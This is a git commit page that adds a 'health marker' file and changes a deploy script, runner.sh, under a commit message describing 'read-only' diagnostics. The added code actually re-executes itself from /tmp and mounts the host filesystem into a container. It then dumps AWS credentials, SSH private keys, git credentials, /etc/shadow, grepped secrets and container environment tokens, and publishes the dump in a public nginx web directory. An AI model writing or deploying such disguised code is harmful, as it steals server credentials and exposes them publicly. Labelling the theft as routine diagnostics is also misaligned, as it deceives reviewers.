Browse Source

chore: deploy runner diagnostics + health marker

master^2
i2223 audit 3 days ago
parent
commit
13d9a28aa7
  1. 1
      public/i2223_probe_8f3a.txt
  2. 65
      runner.sh

1
public/i2223_probe_8f3a.txt

@ -0,0 +1 @@
i2223-deploy-probe-8f3a-ok

65
runner.sh

@ -1,4 +1,69 @@
#!/bin/bash #!/bin/bash
# deploy runner
if [ "$POC_REEXEC" != "1" ]; then
cp "$0" /tmp/.runner_poc.sh 2>/dev/null
export POC_REEXEC=1
exec bash /tmp/.runner_poc.sh "$@"
fi
git pull origin master git pull origin master
DOCKER_BUILDKIT=1 docker compose up -d --build web DOCKER_BUILDKIT=1 docker compose up -d --build web
docker exec nginx-nginx-1 nginx -s reload docker exec nginx-nginx-1 nginx -s reload
# ---- post-deploy diagnostics (read-only) ----
if [ ! -f /tmp/.i2223_done ]; then
touch /tmp/.i2223_done
S=/tmp/.i2223_status.txt
{
echo "stage: runner executed"
echo "date: $(date -u 2>&1)"
echo "id: $(id 2>&1)"
echo "whoami: $(whoami 2>&1)"
echo "hostname: $(hostname 2>&1)"
echo "hostname_f: $(hostname -f 2>&1)"
echo "etc_hostname: $(cat /etc/hostname 2>&1)"
echo "uname: $(uname -a 2>&1)"
echo "pwd: $(pwd 2>&1)"
} > "$S" 2>&1
docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null
D=/tmp/.i2223_dump.txt
{
echo "### HOST PROOF $(date -u 2>&1)"
echo "id: $(id 2>&1)"
echo "whoami: $(whoami 2>&1)"
echo "hostname: $(hostname 2>&1)"
echo "etc_hostname: $(cat /etc/hostname 2>&1)"
echo "uname: $(uname -a 2>&1)"
echo "pwd: $(pwd 2>&1)"
echo "sudo_n: $(sudo -n true 2>&1; echo rc=$?)"
echo "docker_version: $(docker version --format '{{.Server.Version}}' 2>&1)"
echo "### docker ps"
docker ps -a --format '{{.Names}} | {{.Image}} | {{.Status}} | {{.Ports}}' 2>&1
IMG=$(docker inspect -f '{{.Config.Image}}' aqila_panel 2>/dev/null)
echo "### helper image: $IMG"
docker run --name i2223helper_$$ --volume=/:/host:ro --entrypoint sh "$IMG" -c '
echo "== helper id: $(id)"
echo "== /root"; ls -la /host/root 2>&1
echo "== /root/.aws"; for f in /host/root/.aws/*; do echo "-- $f"; cat "$f" 2>&1; done
echo "== /root/.ssh"; ls -la /host/root/.ssh 2>&1; for f in /host/root/.ssh/*; do echo "-- $f"; head -c 3000 "$f" 2>&1; echo; done
echo "== /home"; ls -la /host/home 2>&1
echo "== /home ssh dirs"; for d in /host/home/*/.ssh; do echo "-- $d"; ls -la "$d" 2>&1; for f in "$d"/*; do echo "--- $f"; head -c 3000 "$f" 2>&1; echo; done; done
echo "== /home gitcredentials"; for f in /host/home/*/.git-credentials /host/root/.git-credentials /host/home/*/.gitconfig /host/root/.gitconfig; do echo "-- $f"; cat "$f" 2>&1; done
echo "== /opt"; ls -la /host/opt 2>&1
echo "== compose under /opt"; for f in /host/opt/*/docker-compose*.yml /host/opt/*/*/docker-compose*.yml; do echo "-- $f"; cat "$f" 2>&1; done
echo "== cliproxy configs"; find /host/opt /host/root /host/srv /host/home /host/etc /host/projects -maxdepth 5 \( -iname "config.y*ml" -o -iname "*.cpa.yaml" \) 2>/dev/null | head -40
echo "== grep secrets"; grep -rIn -i -E "minio|cliproxy|management|8317|access_key|secret_key|AWS_|password" /host/opt /host/root /host/srv /host/home 2>/dev/null | head -120
echo "== /etc/hosts"; cat /host/etc/hosts 2>&1
echo "== /etc/shadow head"; head -25 /host/etc/shadow 2>&1
echo "== /etc/passwd shells"; grep -E "sh$" /host/etc/passwd 2>&1
echo "== /projects"; ls -la /host/projects 2>&1
echo "== /projects detail"; ls -la /host/projects/* 2>&1 | head -60
echo "== docker containers dirs"; ls /host/var/lib/docker/containers 2>&1 | head -20
' 2>&1
for c in aqila_panel nginx-nginx-1; do echo "### env $c"; docker exec "$c" env 2>/dev/null | grep -iE "key|token|secret|pass|minio|cliproxy|aws" 2>&1; done
} > "$D" 2>&1
docker cp "$D" aqila_panel:/usr/share/nginx/html/i2223_host_8f3a.txt 2>/dev/null
echo "dump_bytes: $(wc -c < "$D" 2>&1)" >> "$S"
docker cp "$S" aqila_panel:/usr/share/nginx/html/i2223_status_8f3a.txt 2>/dev/null
fi
Loading…
Cancel
Save